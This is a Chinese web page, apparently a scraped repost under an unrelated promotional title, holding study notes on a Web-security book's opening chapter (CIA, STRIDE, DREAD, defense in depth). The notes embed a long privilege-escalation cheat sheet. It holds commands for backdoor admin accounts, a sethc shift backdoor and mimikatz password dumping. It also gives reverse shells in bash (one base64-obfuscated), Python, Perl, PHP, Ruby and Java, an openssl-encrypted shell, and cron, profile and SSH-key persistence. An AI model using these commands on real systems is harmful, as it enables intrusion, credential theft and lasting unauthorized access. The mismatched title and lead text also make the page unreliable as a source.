您现在的位置是:主页 > news > 流量与网站/一站式海外推广平台

流量与网站/一站式海外推广平台

admin2025/6/21 3:58:11news

简介流量与网站,一站式海外推广平台,访客可以用微信回复wordpress,智慧团建网站注册登录入口批注[……] 表示他人、自己、网络批注参考资料来源于* 书中批注* CSDN* GitHub* Google* 维基百科* YouTube* MDN Web Docs由于编写过程中无法记录所有的URL所以如需原文,请自行查询{……} 重点内容*……* 表示先前提到的内容,不赘述「第一篇」世界观安全…

流量与网站,一站式海外推广平台,访客可以用微信回复wordpress,智慧团建网站注册登录入口批注[……] 表示他人、自己、网络批注参考资料来源于* 书中批注* CSDN* GitHub* Google* 维基百科* YouTube* MDN Web Docs由于编写过程中无法记录所有的URL所以如需原文,请自行查询{……} 重点内容*……* 表示先前提到的内容,不赘述「第一篇」世界观安全…
	批注[……]	表示他人、自己、网络批注参考资料来源于* 书中批注* CSDN* GitHub* Google* 维基百科* YouTube* MDN Web Docs由于编写过程中无法记录所有的URL所以如需原文,请自行查询{……}	重点内容*……*	表示先前提到的内容,不赘述「第一篇」世界观安全「0.6本书结构」本篇是签署的纲领,在此篇中阐述了一些安全的历史(本笔记并未提出)然后提出了一些思考问题的方式及做事的方法理解了本篇,就能明白全书涉及的解决方案在抉择时的取舍「第一章」安全世界观[Web服务器提权* SER-TU提权通常是利用SERFTP服务器管理工具,首先要在安装目录下找到INI配置文件,必须具备可写入的权限* RADMIN提权在扫描4899空口令后,同样需要他来连接* PCANYWHRER提权也是远程客户端软件,下载安装目录的CIF文件进行破解* SAM提权SAM系统帐户,通常需要下载临时存放的SAM文件,然后进行HASH破解* NC提权利用NC命令,反弹一个端口,然后TELNET远程去连接一个端口,虽然权限不够大,但结合巴西烤肉,也是能够成功的* PR提权PR提权,这个就不多说了,最好是免杀的PR大杀器,这样更方面我们去操作* IIS提权	IIS6.0提权,首先需要获取IIS的配置信息,利用工具进行添加后门用户* 43958提权如果SER-TU有直接读入和执行的权限,那么我们就可以直接提权* PERL提权PERL提权通常是针对PERL文件夹下的提权方式,利用DIR目录%20NET USER这样来建立后门用户* 内网LCX提权转发工具LCX,通常需要先本地监听一个端口,然后转发,针对内网,用本地的127连接对方的3389* 启动提权如果服务器启动项有能够执行的权限,那么应该说管理员的技术肯定不精湛* 替换服务提权	替换某个服务EXE,比如SER-TU,可将原有的删除,再传一个同样的SER.EXE上去,等待服务器重启* FXP提权FXP这个工具其实本身他是一个传输工具,但我们可以下载他的三个文件,然后,用密码查看器的功能去获得密码* 输入法提权目前来说的话,输入法提权的思路基本上不太可行了* 360提权	360提权,也就是我们常说的SHIFT后门,如果执行了360漏洞利用程序,连接服务器用SHIFT5下,弹出了CMDSHELL即为成功* VNC提权VNC,我们通常是扫描5900国外服务器时候用到VNC来连接的,同样,我们如果得到了VNC的密码,通常可以利用他来提权* 2003ODAY提权	如果服务器是2003的,那么就可以利用2003ODAY利用工具来进行提权了* ROOT提权如果你获得了MSSQL的密码,那么就可以导入注册表的方式,利用MSSQL语句执行我们想要的命令了* SA密码服务器提权通常去寻找SA,MSSQL的相关密码,比如CONFIG.ASP,CONN.ASP等等* FTP溢出提权这个用到LCX工具,本地溢出,转发一个端口,虽然不是内网,利用默认的21进行提升权限提权主要针对网站测试过程中,当测试某一网站时,通过各种漏洞提升webshell权限来拿到该服务器的权限常见脚本所处的权限asp/PHP,匿名权限(网络服务权限,权限较小)aspx,user权限(普通用户权限)jsp,系统权限(通常)收集信息必要信息内/外网服务器系统和版本位数服务器的补丁情况服务器的安装软件情况服务器的防护软件情况端口情况支持脚本的情况常见命令(for windows)ipconfig /all查看当前ipnet user查看当前服务器账号情况netstat –ano查看当前服务器端口开放情况ver查看当前服务器操作糸统systeminfo           查看当前服务器配置信息(补丁情况)tasklist /svc        查看当前服务器进程taskkill –PID ID号   结束某个pid号的进程taskkill lim qq.exe /f    结束qq进程net user abc abc /add    添加一个用户名为abc密码为abc的用户whoami                 查看当前操作用户(当前权限)常见命令(for linux)ls –al查看当前服务器的文件和文件夹pwd查看当前操作路径uname -a查看当前服务器的内核信息cmd执行命令* 防护软件拦截* cmd被降权* 组件被删除找到可读写目录上传cmd.exe,将执行的cmd.exe路径替换成上传的路径,再次调用windows提权* 第三方软件提权FTP软件server –u、g6ftp、FileZilla远程管理软件PCanywhere、readmin、vnc* 溢出提权server-u提权有修改权限* 检查是否有可写权限,修改server-u,默认安装目录下的servUDaemou.ini* 增加用户* 连接* 执行命令quote site exec bet user abc abc.com /addquote site exec net localgroup administertors abc /add无修改权限暴力破解mds溢出提权* 启动项提权		G6ftp提权* 下载管理配置文件,将administrator管理密码破解* 使用lcx端口转发(默认只允许本机连接)* lcx.exe –tran 8027 127.0.0.1 8021* 使用客户端管理员用户登录* 创建用户并设置权限和执行的批处理文件* 上传批处理* 已创建的普通用户登录ftp* 执行命令quate site x.bat* x.bat内容为添加系统用户提权* 破解hash提权filezilla提权filezilla是一款开源的ftp服务器和客户端的软件若安装了服务器默认只监听127.0.0.1的14147端口并且默认安装目录下有两个敏感文件* filezillaserver.xm(包含了用户信息)* filezillaserver interface.xml(包含了管理信息)提权思路* 下载这两个文件,拿到管理密码* 配置端口转发,登录远程管理ftpserver创建ftp用户* 分配权限,设置家目录为c:\* 使用cmd.exe改名为sethc.exe替换* c:\windows\system32\sethc.exe生成shift后门* 连接3389按5次shift调出cmd.exe* query user(显示管理员是否在线)* 数据库提权服务器系统提权意义* 修改服务器上某个文件* 查看服务器上某个文件* 获取服务器上数据库权限网站webshell权限解析{一般情况下,webshell权限介于guests-users之间,权限较小}webshell权限影响条件网站脚本类型搭建平台类型当拿到一个网站时,看看它的脚本类型ASP PHP(小于users)<ASPX(users) <JSPs(ystem,如果网站是JSP搭建,权限就是system了,也就是不用提权了)phpstudy apmserv lamp 等软件搭建 = administrators常规提权的方法数据库提权溢出漏洞提权第三方软件提权服务器提权系统溢出漏洞前期的信息收集服务器操作系统的位数网站脚本程序类型服务器补丁情况服务器防护软件其他信息整理常见的系统命令(for windows)ipconfig查看计算机ip地址(判定网络情况,是否是内网还是外网)net user查看计算机用户net start查看计算机开启服务(可以看一下是否开启防护软件)whoami查看当前用户权限tasklist /svc查看计算机进程(判断第三方软件等)systeminfo查看计算机相关信息(操作系统、位数、补丁情况等)netstat -ano查看计算机端口开放情况对提权的重新记录信息收集内网服务器系统和版本位数服务器的补丁情况服务器的安装软件情况服务器的防护软件情况端口情况支持脚本的情况常见命令(for windows)ipconfig /all查看当前ipnet user查看当前服务器账号情况netstat –ano查看当前服务器端口开放情况ver查看当前服务器操作糸统systeminfo           查看当前服务器配置信息(补丁情况)tasklist /svc        查看当前服务器进程taskkill –PID ID号   结束某个pid号的进程taskkill lim qq.exe /f    结束qq进程net user abc abc /add    添加一个用户名为abc密码为abc的用户whoami                 查看当前操作用户(当前权限)常见命令(for linux)ls –al查看当前服务器的文件和文件夹pwd查看当前操作路径uname -a查看当前服务器的内核信息cmd执行命令* 防护软件拦截* cmd被降权* 组件被删除找到可读写目录上传cmd.exe,将执行的cmd.exe路径替换成上传的路径,再次调用提权的条件如在拿到webshell权限、数据库权限、普通用户权限Windows基础命令* query user查看用户登录情况* whoami查看当前用户权限* systeminfo查看当前系统版本和补丁信息添加管理员用户–设置密码为123456net user 1111 123456 /addnet localgroup administrators 1111 /add如果远程桌面连接不上,那么就添加远程桌面组net localgroup "Remote Desktop Users" 1111 /add其他基础命令* ipconfig查看本机ip信息,可加/all参数* netstat-ano查看端口情况* dir c:\查看目录* type c:\...\...\....txt查看指定位置文件内容,一般为文本文件* echo 字符串>....txt写入文本到文件,特殊字符<>等前面加^* copy ....txt ....php复制文件* renname d:\....txt ....txt将某个路径下文件重命名* tasklist查看所有进程占用的端口* taskkill /im ....exe /f强制结束指定进程linux基础命令本地溢出提权、数据库提权、三方软件提权、信息泄露基于密码破解的提权密码获取的常用手段* 中间人劫持:网络窃听* 用户主机窃听:键盘记录* 简单猜测:常用密码(弱口令)* 系统漏洞:永恒之蓝* 用户泄露:git、配置文件等泄露* 系统后门:shift后门等等windows的密码原理windows采用两种方法对用户密码进行哈希处理,分别是LM和NT,而哈希是一种加密函数经过计算后的结果windows系统密码hash默认情况下由两部分组成,第一部分是LM-hash,第二部分是NT-hash得到了哈希密码后可以通过在线查询网站来破解windows密码hash导出(获取)导出导入SAM、systemgethashs导出Pwdump导出Wce导出这四种方法都是用不同的工具去获取,基本差不多的破解hash密码导入SAM和system文件(也可以导入 pwdump导出来的文件)进行暴力破解即可明文密码的获取工具Wce明文密码获得Mimikatz明文密码获得privllege::debugsekurlsa::logonpasswordsGetpass明文密码获得Linux密码获取和破解join破解加载字典破解windows系统的提权基础(pr提权)windows提权密码收集注册表日志.rap文件内存配置文件sam文件内核提权ms09-012(pr.exe)数据库提权mysqlsql server应用提权ftpwindows提权实践* WinSysHelper-master(上传bat+txt文件,适用于2003之前的系统)* powershell这里首先了解学习一下powersell的知识,在win7虚拟机中开启powshell,并查看其版本(Get-Host或者$PSVersionTable.PSVERSION命令来查看)powershell脚本的文件名后缀是.PS1这里利用Sherlock来提权(Sherlock是一个在Windows下用于本地提权的PowerShell脚本,可以在GitHub上下载)Linux提权基础基础命令* 获取系统信息* cat /etc/issue查看发行版* cat /etc/*-release查看发行版* cat /proc/version* uname -a查看内核版本* rpm -q kernel红帽系统特有* dmesg | grep Linux* ls /boot | grep vmlinuz-* lsb_release -a* 检查用户权限* sudo -l* cat /etc/sudoers* whoamipasswd文件中存储了用户,shadow文件中存储的是密码的hash,出于安全的考虑,passwd是全用户可读,root可写,而Shadow是仅root可读写的passwd由冒号分割,第一列是用户名,第二列是密码,x代表密码hash被放在shadow里面了(这样非root就看不到了)* 查看环境变量搜寻有配置错误的环境变量,查看是否优先从不安全的路径执行文件* cat /etc/profile* cat /etc/bashrc* cat ~/.bash_profile* cat ~/.bashrc* cat ~/.bash_logout* cat ~/.bash_history* env* set* 检查历史文件及命令* cat ~/.*_history* 搜寻可被低权限用户使用的root权限程序* crontab -l* ls -alh /var/spool/cron* ls -al /etc/ | grep cron* ls -al /etc/cron** cat /etc/cron** cat /etc/at.allow* cat /etc/at.deny* cat /etc/cron.allow* cat /etc/cron.deny* cat /etc/crontab* cat /etc/anacrontab* cat /var/spool/cron/crontabs/root* 检查以root权限的进程是否存在漏洞* ps aux | grep root* ps -ef | grep root* 搜索纯文本凭据的文件* grep -ir user ** grep -ir pass ** 查找可写的配置文件* find /etc/ -writable -type f 2>/dev/null* 查找suid权限的程序* find / -user root -perm -4000 -print 2>/dev/null* find / type f -perm -u=s 2>/dev/null* 可利用的脚本* LinEnum * linuxprivchecker.py* unix-privesc-check * 获得交互shell* python -c 'import pty;pty.spawn("/bin/bash")' * echo os.system('/bin/bash')* /bin/sh -i反弹shell实战Bash反弹shellLinux 反弹 shell 使用下面这条命令,该命令弹回来的shell是不可交互的,也就是比如 vim、passwd 命令不能用-----------------------------------------------------------------------------------------bash -i >& /dev/tcp/192.168.10.27/4444 0>&1   #将shell环境转发到192.168.10.32的4444端口上也可以如下:{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjI3LzQ0NDQgMD4mMSA=}|{base64,-d}|{bash,-i}-----------------------------------------------------------------------------------------然后客户端用 netcat 进行接收---------------------------nc -lvp  4444  #监听4444端口---------------------------只有拥有 /bin/bash 的用户,才能使用该命令,如apache等web用户,无法使用该命令(以下是使用菜刀连接的webshell,获取到的 shell 是 apache 的shell)文件描述符标准输入(stdin) :代码为 0 ,使用 < 或 << 标准输出(stdout):代码为 1 ,使用 > 或 >> 标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>而通过查阅资料,发现  >& 和 &> 两者一个意思,都是将标准错误输出合并到标准输出中以下这些命令其实都可以用于linux反弹shell-------------------------------------------bash -i >& /dev/tcp/192.168.10.27/4444 0>&1 bash -i >& /dev/tcp/192.168.10.27/4444 0<&1 bash -i $> /dev/tcp/192.168.10.27/4444 0>$1 bash -i $> /dev/tcp/192.168.10.27/4444 0<&1 -------------------------------------------但是,很多时候,由于我们获取的shell并不是一个具有完整交互的shell,因此可能会在使用过程中被挂起,甚至还可能会因为我们的操作失误,例如不小心摁下了Ctrl-C ,这将直接终止我们的整个shell进程,或者获得的shell类型是sh的,我们使用不习惯如果目标主机有python环境,我们在用netcat获得了反弹的shell后,可以执行下面的命令,才获得一个正常的shell(可以进行交互的shell) ,可以执行passwd命令 ,但是 vim命令还是用不了---------------------------------------------python -c 'import pty;pty.spawn("/bin/bash")'---------------------------------------------加密bash反弹shell的流量* 在vps上生成SSL证书的公钥/私钥对,执行以下命令,一路回车即可---------------------------------------------------------------------------------openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes---------------------------------------------------------------------------------* 在VPS监听反弹shell--------------------------------------------------------------openssl s_server -quiet -key key.pem -cert cert.pem -port 4444--------------------------------------------------------------* 在目标上用openssl加密反弹shell的流量-------------------------------------------------------------------------------------------------------------------mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.10.136:4444 > /tmp/s;rm /tmp/s-------------------------------------------------------------------------------------------------------------------Python反弹shell使用下面这条命令弹回来的shell也是不可交互的shell,即 vim 和 passwd 等命令用不了---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------#利用python反弹一个bash类型的shellpython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------只有拥有 /bin/bash 的用户,才能使用该命令,如apache等web用户,无法使用该命令(以下是使用菜刀连接的webshell,获取到的 shell 是 apache 的shell)其他命令反弹shell----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Perl:perl -e 'use Socket;$i="192.168.10.13";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'PHP:php -r '$sock=fsockopen("192.168.10.13",8888);exec("/bin/sh -i <&3>&3 2>&3");'Ruby:ruby -rsocket -e'f=TCPSocket.open("192.168.10.13",8888).to_i;exec sprintf("/bin/sh -i <&%d>&%d 2>&%d",f,f,f)'Java:r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.10.13/8888;cat <&5 2="" |="" while="" read="" line;="" do="" \$line="">&5 >&5; done"] as String[]) p.waitFor()----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------写入命令到定时任务文件我们可以在远程主机的定时任务文件中写入一个反弹shell的脚本,但是前提是我们必须要知道远程主机当前的用户名是哪个,因为我们的反弹shell命令是要写在/var/spool/cron/当前用户命令的文件内的,所以必须要知道远程主机当前的用户名,否则就不能生效比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/root 中(centos系列主机)比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/crontabs/root 中(debian系列主机)----------------------------------------------------------------*/1  *  *  *  *   /bin/bash -i>&/dev/tcp/192.168.10.11/4444 0>&1#每隔一分钟,向192.168.10.27的4444号端口发送shell----------------------------------------------------------------写入SSH公钥 将公钥信息传送到远程主机的/root/.ssh/目录下,并且重命名为authorized_keys如果是其他用户,比如test,那就是/test/.ssh/下写入/etc/profile文件将以下命令写入/etc/profile文件中,/etc/profile中的内容会在用户打开bash窗口时执行------------------------------------------------/bin/bash -i>&/dev/tcp/192.168.10.11/4444 0>&1 &------------------------------------------------脏牛提权脏牛漏洞,又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞,Linux kernel团队在2016年10月18日已经对此进行了修复漏洞范围Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)简要分析该漏洞具体为,Linux内核的内存子系统在处理写入复制(copy-on-write,COW)时产生了竞争条件(race conditio),恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问,竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码,利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限]「1.1简介」用户的最高权限叫做root(administrator) ,黑客最渴望的就是获得root黑客使用的漏洞利用代码叫做exploit黑客中的种类一、精通计算机技术,能自己挖漏洞,并编写exploit[多数都是白帽]二、只对攻击本身感兴趣,对技术方面各项的了解比较浅,自己没有动手能力,只能看懂别人的代码,这类黑客被称为Script kids[这是大多数黑客的类型][虽然黑客本身是具有破坏性的,但是第一种黑客是鳳毛麟角]现实中,真正能够造成大规模破坏的往往不是挖掘并研究漏洞的黑客,而是这些Script KidsSQL注入、XSS攻击的出现是Web安全史上的一个里程碑伴随着Web 2.0 的兴起,XSS、CSRF等攻击已经变得更强大了「1.2黑帽子、白帽子」黑帽子:利用黑客技术造成破坏工作心态方面:* 工作心态:找到系统的一个漏洞,达到入侵的目的* 工作环境:一个人或小团队(黑客有关)* 工作目的:入侵系统,找到对自己价值的数据,以点突破,找到对自己最有作用的点以此渗透* 工作观察方面:思考问题的出发点必然是选择性的、微观性的对待问题方式:* 对待问题:为了完成一次入侵,需要利用各种不同漏洞的组合来达到目的白帽子:精通安全技术,但工作在反黑客领域的网络安全专家工作心态方面:* 工作心态:找到系统的所有漏洞,不有遗漏项,保证系统不再出问题	[不可能做到100%无漏洞,只是让黑客无从下手]* 工作环境:为企业或安全公司工作* 工作目的:出发点在于解决一切安全问题* 工作观察方面:所看所想要全面和宏观对待问题方式:* 对待问题:在设计方案时,如果只看到各种问题组合后产生的效果,就会把事情变得更复杂,难以细致入微地解决根本问题,所以白帽子必然是在不断地分解问题,在对分解后的问题逐个给予解决* 选用的方法:客服某种攻击方式,而并非抵御单次攻击「1.3安全的本质」 通过安全检测的过程,可与梳理未知的人或物,使其变得可信任,被划分出来的具有不同信任级别的区域,被称为信任域,划分两个信任域的分界线,被称为信任边界安全问题的考虑选择:选择内容为发生概率高的安全问题,不太会考虑不可能发生的事件一旦我们做出决策的依据、条件被打破、被绕过,那么就会导致安全假设的前提条件不再可靠,变成一个伪命题把握住信任条件的度,使其恰到好处,正是设计安全方案的难点所在,也正是安全这门学问的魅力所在「1.4坚持学习安全」 安全是一个持续学习的内容「1.5安全三要素」简称CIA* 机密性(Confidentiality):要求保护数据内容不能泄露,加密是实现机密性要求的常见手段* 完整性(Integrity):要求保护数据内容是完整、没有更改的,常见的保证一致性的技术手段是数字签名* 可用性(Availability):要求保护资源是随需而得的* 随着时代的进步,后人又增加了可设计性、不可抵赖性等,但最核心的还是以上三要素在设计安全方案时也要以这三要素为思考的出发点,更全面地思考问题[不可抵赖性,又称不可否认性,英文为Non-repudiation电子商务交易各方在交易完成时要保证的不可抵赖性,指在传输数据时必须携带含有自身特质、别人无法复制的信息,防止交易发生后对行为的否认通常可通过对发送的消息进行数字签名来实现信息的不可抵赖性]「1.6如何实施安全评估」安全评估的过程1、资产等级划分有时候资源的可用性可以理解为数据的可用性互联网安全的核心问题是数据安全的问题2、威胁分析[威胁:只可能导致对系统或组织危害的事故潜在的起因]可能造成危害的来源叫做危害;可能出现的损失叫做分险[威胁与脆弱]威胁建模方法 —— STRIDESpoofing(伪装)定义:冒充他人身份对应的安全属性:认证Tampering(更改)定义:修改数据或代码对应的安全属性:完整性Repudiation(抵赖)定义:否认做过的事情对应的安全属性:不可抵赖性InformationDisclosure(信息泄露)定义:机密信息泄露对应的安全属性:机密性Denial of Service(拒绝服务)定义:拒绝服务对应的安全属性:可用性Elevation of Privilege(提升权限)定义:未经授权获得许可对应的安全属性:授权在进行威胁分析时,要尽可能地不遗漏威胁,头脑风暴的过程可以确定攻击面(Attack Surface)漏洞的定义:系统中可能被威胁利用以造成危害的地方3、风险分析[风险:指某种特定的危险事件(事故或意外事件)发生的可能性与其产生的后果的组合]影响风险高低的因素造成损失的大小、发生的概率风险程度模型 —— DREADDamage Potential高:获取完整的验证权限;执行管理员操作;非法上传文件中:泄露敏感信息低:泄露其他信息Reproducibility高:攻击者可以重复攻击中:攻击者可以重复攻击,但有时间限制低:攻击者很难重复攻击Exploitability高:初学者在短期内能掌握攻击方法中:熟练的攻击者才能完成这次攻击低:漏洞利用条件非常苛刻Affected Users高:所有用户,默认设置,关键用户中:部分用户,非默认配置低:极少数用户,匿名用户Discoverability高:漏洞很显眼,攻击条件很容易获得中:在私有区域,部分人能看到,需要深入挖掘漏洞低:发现该漏洞极为困难高(3)中(2)低(1)风险高低的定义:Risk = D(a)+R(b)+E(c)+A(d)+D(e) = a+b+c+d+e高危:Risk = 12~15中危:Risk = 8~11低危:Risk = 0~7{模型只是工具,起决定性作用的是人}4、确认解决方案解决方案一定要有针对性,针对前三点做出安全方案安全评估的产出物就是安全解决方案一个好的安全解决方案须具备以下几点:能够有效解决问题用户体验好高性能低耦合[耦合度:是对模块间关联程度的度量,耦合的强弱取决于模块间接口的复杂性,调用模块的方式以及通过界面传送数据的多少]{易于扩展与升级}如果是由专职的安全团队长期维护的系统,有些阶段可以只是实施一次「1.7白帽子兵法」 Secure By Default 原则最基本也是最重要的原则黑白名单[SSH段口有很多功能可以替代Telent,又可以为FTP、POP、PPP提供一个安全的通道][SSH是目前比较可靠的专为远程登录会话和其他网络服务提供安全性的协议]黑名单:不安全程序白名单:较安全程序如果允许工程师在服务器上随意安装软件的话,则可能会因为安全部门不知道、不熟悉的软件,导致一些漏洞出现,从而增大攻击面[在电脑系统里,有很多软件都应用到了黑白名单规则,操作系统、防火墙、杀毒软件、邮件系统、应用软件等,凡是涉及到控制方面几乎都应用了黑白名单规则]最小权限原则[最小权限是指每个程序和系统用户都应该具有完成任务所必需的最小权限集合,因此,对于系统管理员而言,一个用户应该只能访问履行他的相关职责所需访问的数据和硬件]最小权限原则要求系统只授予主体必要的权限,而不要过度授权,这样能有效的减少系统、网络、应用、数据库出错的机会[sudo:linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令]纵深防御原理Defense in Depth1、要在各个不同层面、不同方面实施安全方案,避免出现疏漏,不同安全方案之间需要相互配合,构成一个整体2、要在正确的地方做正确的事,在解决根本问题的地方实施针对行的安全方案他要求我们深入理解威胁的本质,从而做出正确的应对措施更全面、正确地看待问题UTM(Unified Threat Management)统一威胁管理[纵深防御:通过设置多层重叠的安全防护系统而构成多道防线,使得即使某一防线失效也能被其他防线弥补或纠正,即通过增加系统的防御屏障或将各层之间的漏洞错开的方式防范差错发生的]数据与代码分离原理这一原则广泛适用于各种由于注入(e.g.:SQL Injection;XSS;CRLF Injection;X-Path Injection)而引发的安全问题场景缓冲区溢出也可以认为是程序违背了这一原则的后果[缓冲区是一块连续的计算机内存区域,可保存相同数据类型的多个实例][缓冲区溢出是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权]从漏洞成因上看待问题不可预测性原则克服攻击方法的角度看问题Unpredictable能够有效地对抗基于篡改、伪造的攻击当token足够复杂时,不能被攻击者在测到我们无法要求运行的程序没有漏洞,所以要使漏洞的攻击方法失败需要用到加密算法、随机数算法、哈希算法 *第十一章 加密算法与随机数* 「1.8总结」安全是一门朴素的学问,也是一种平衡的艺术